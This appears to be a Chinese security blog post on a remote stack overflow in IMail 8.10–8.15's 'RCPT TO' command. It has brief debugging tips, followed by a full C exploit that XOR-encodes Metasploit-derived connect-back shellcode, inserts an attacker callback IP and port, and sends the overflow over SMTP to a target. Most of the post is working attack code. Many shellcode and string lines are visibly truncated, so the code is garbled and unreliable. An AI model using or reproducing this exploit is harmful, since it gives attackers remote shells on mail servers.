文：郭海俊
最近对IMAIL RCPT存在的漏洞进行了相关调试，心得体会：
(1)、不要总盯着jmp/call esp，多看看eax、ebx、ecx、edx、、esj、ed、ebp等寄存器是否含有shellcode位置，还要注意ESP+??，即函数参数中是否含有shellcode位置。
(2)、关于shellcode的编码问题， shellcode不能含有如下7个字符：
<
>
@
:
空格
想法：测试输入字符过滤，可以用ASCII码表去覆盖缓冲区，然后用OllyDBG去看缓冲区的内容。
针对IMAIL 8.10，8.12，8.15做了测试，成功溢出，没有测试8.11和8.13，8.14的版本，有兴趣的可以测试下。
下面是相关的利用代码：
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
unsigned char decode[] =
//22 decode[5] = xor_byte
"xebx
//22 decode[5] = xor_byte
//"xebx
unsigned char end_mark[] = "x44x
///*
//connect back shellcode copied from metasploit shellcode framework
unsigned char sc[] =
"xe8x56x00x00x00x53x55x56x57x8bx
"x8bx54x05x78x01xeax8bx
"x49x8bx34x8bx01xeex31xffxfcx31xc0xacx38xe0x74x07"
"xc1xcfx0dx01xc7xebxf2x3bx
"x01xebx66x8bx
"xebx02x31xc0x
"x8bx19x8bx5bx
"x4ex0execxffxd6x89xc7x81xecx00x01x00x00x57x56x53"
"x89xe5xe8x
"x19x70xe9xecxf9xaax60xd9x09xf5xadxcbxedxfcx3bx57"
"x53x32x
"xc3x8dx75x14x
"x89x04x8exe2xf2x2bx27x54xffx37xffx55x28x31xc0x50"
"x50x50x50x40x50x40x50xffx55x24x89xc7x68x
"x01x68x02x00x22x11x89xe1x
"x59x68x43x4dx44x00x89xe3x87xfax31xc0x8dx
"x
"xc7x44x24x
"x24x50x8dx44x24x10x54x50x51x51x51x41x51x49x51x51"
"x53x51xffx75x00x68x72xfexb3x16xffx55x04xffxd0x89"
"xe6xffx75x00x68xadxd9x05xcexffx55x04x89xc3x
"xffx36xffxd3xffx75x00x68x7exd8xe2x73xffx55x04x31" //22*16 352
"xdbx53xffxd0"; // 352+4 = 356;
//*/
/*
unsigned char sc[] =
"xe8x56x00x00x00x53x55x56x57x8bx
"x8bx54x05x78x01xeax8bx
"x49x8bx34x8bx01xeex31xffxfcx31xc0xacx38xe0x74x07"
"xc1xcfx0dx01xc7xebxf2x3bx
"x01xebx66x8bx
"xebx02x31xc0x
"x8bx19x8bx5bx
"x4ex0execxffxd6x89xc7x81xecx00x01x00x00x57x56x53"
"x89xe5xe8x
"x19x70xe9xecxf9xaax60xd9x09xf5xadxcbxedxfcx3bx57"
"x53x32x
"xc3x8dx75x14x
"x89x04x8exe2xf2x2bx27x54xffx37xffx55x28x31xc0x50"
"x50x50x50x40x50x40x50xffx55x24x89xc7x68x
"x01x68x02x00x22x11x89xe1x
"x59x68x43x4dx44x00x89xe3x87xfax31xc0x8dx
"x
"xc7x44x24x
"x24x50x8dx44x24x10x54x50x51x51x51x41x51x49x51x51"
"x53x51xffx75x00x68x72xfexb3x16xffx55x04xffxd0x89"
"xe6xffx75x00x68xadxd9x05xcexffx55x04x89xc3x
"xffx36xffxd3xffx75x00x68xefxcexe0x60xffx55x04x31"
"xdbx53xffxd0";
*/
//pop,ret
unsigned char jmpaddr[][4] =
{ "xe1x1exfax
"xafxd8x87x
"x
"x97x31x02x75" // en 2k All SPs
};
//
//函数声明
//
void imail_exp(int smtp_ip, int smtp_port, int cb_ip, int cb_port, int imail_ver, int os_ver);
//
//main()
//
void main(int argc, char* argv[])
{
if(argc == 7)
{
imail_exp(inet_addr(argv[1]), atoi(argv[2]), inet_addr(argv[3]), atoi(argv[4]), atoi(argv[5]), atoi(argv[6]));
}
else
{
printf(
"IMail "RCPT TO" Remote Stack Overflow Exploit
"
"Usage:
"
" %s <attack_ip> <smtp_port> <cb_ip> <cb_port> <imail_ver> <os_ver>
"
" imail_ver: 0 ==> 8.10, 8.12 tested
"
" 1 ==> 8.15 tested(maybe 8.13)
"
" os_ver: 0 ==> cn 2k/xp/2003
"
" 1 ==> en 2003 sp1 NTDLL.DLL
"
" 2 ==> en 2003 sp0 USER32.DLL
"
" 3 ==> en 2k All SPs
"
,argv[0]);
}
}
void imail_exp(int smtp_ip, int smtp_port, int cb_ip, int cb_port, int imail_ver, int os_ver)
{
char buf[1024] = ;
char respond[512] = ;
int i;
char* p;
WSADATA wsaData;
SOCKET sock;
struct sockaddr_in smtp_addr;
char ehlo[] = "EHLO ph4nt
char mailfrom[] = "MAIL FROM <root@ph4nt
";
char quit[] = "QUIT
";
p = (char*)&cb_ip;
sc[221] = p[0];
sc[222] = p[1];
sc[223] = p[2];
sc[224] = p[3];
p = (char*)&cb_port;
sc[228] = p[1];
sc[229] = p[0];
//decode[5] = 0xB8;
for(i=0; i<356; i++)
{
sc[i] = sc[i] ^ 0xB8;
if( sc[i]==0x00||
sc[i]=='
'||
sc[i]=='
'||
sc[i]=='V'||
sc[i]==' ' ||
sc[i]=='@' ||
sc[i]==':' ||
sc[i]=='<' ||
sc[i]=='>' ||
sc[i]=='"' )
{
printf("sc[%d]:%c bad char!
", i, sc[i]);
return;
}
}
memset(buf, 0x41, sizeof(buf));
strcpy(buf, "RCPT TO <@:");
memcpy(buf+11, decode, 22);
memcpy(buf+11+22, sc, 356);
memcpy(buf+11+22+356, end_mark, 4);
p = jmpaddr[os_ver];
switch(imail_ver)
{
case 0: //8.10 8.12
//memcpy(buf+11+492, "x41x41x41x41", 4);
memcpy(buf+11+492, p, 4);
memcpy(buf+11+496, ">
", 4);
break;
case 1: //8.15
//memcpy(buf+11+544, "xddxddxfdx
memcpy(buf+11+548, p, 4);
memcpy(buf+11+552, ">
", 4);
break;
default:
printf("This Version is not supported.
");
return;
}
//printf("%s", buf);
if(WSAStartup( MAKEWORD(2,2), &wsaData) != 0) //WSAStartup初始化
{
printf("[-]WSAStartup() error.
");
return;
}
if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
{
printf("[-]socket() error.
");
return;
}
smtp_addr.sin_family = AF_INET;
smtp_addr.sin_port = htons((short)smtp_port);
smtp_addr.sin_addr.s_addr = smtp_ip;
ZeroMemory(smtp_addr.sin_zero, 8);
printf("[+]connecting to %s:%i...
", inet_ntoa(smtp_addr.sin_addr), smtp_port);
if(connect( sock, (struct sockaddr*)&smtp_addr, sizeof(struct sockaddr)) == SOCKET_ERROR)//连接服务器
{
printf("[-]connect() error.
");
closesocket(sock);
return;
}
recv(sock, respond, sizeof(respond), 0);
printf("[S]%s", respond);
send(sock, ehlo, strlen(ehlo), 0);
recv(sock, respond, sizeof(respond), 0);
if(strstr(respond, "250"))
{
printf("[C]%s", ehlo);
}
else
{
printf("[-]fail ehlo.
");
closesocket(sock);
return;
}
send(sock, mailfrom, strlen(mailfrom), 0);
recv(sock, respond, sizeof(respond), 0);
if(strstr(respond, "250"))
{
printf("[C]%s", mailfrom);
}
else
{
printf("[-]fail mailfrom.
");
closesocket(sock);
return;
}
send(sock, buf, strlen(buf), 0);
printf("[+]Sending exploit code...
"
"Good Luck!
");
//Sleep(3000);
closesocket(sock);
return;
}
东软网络安全 微信号：Neusoft_NetEye
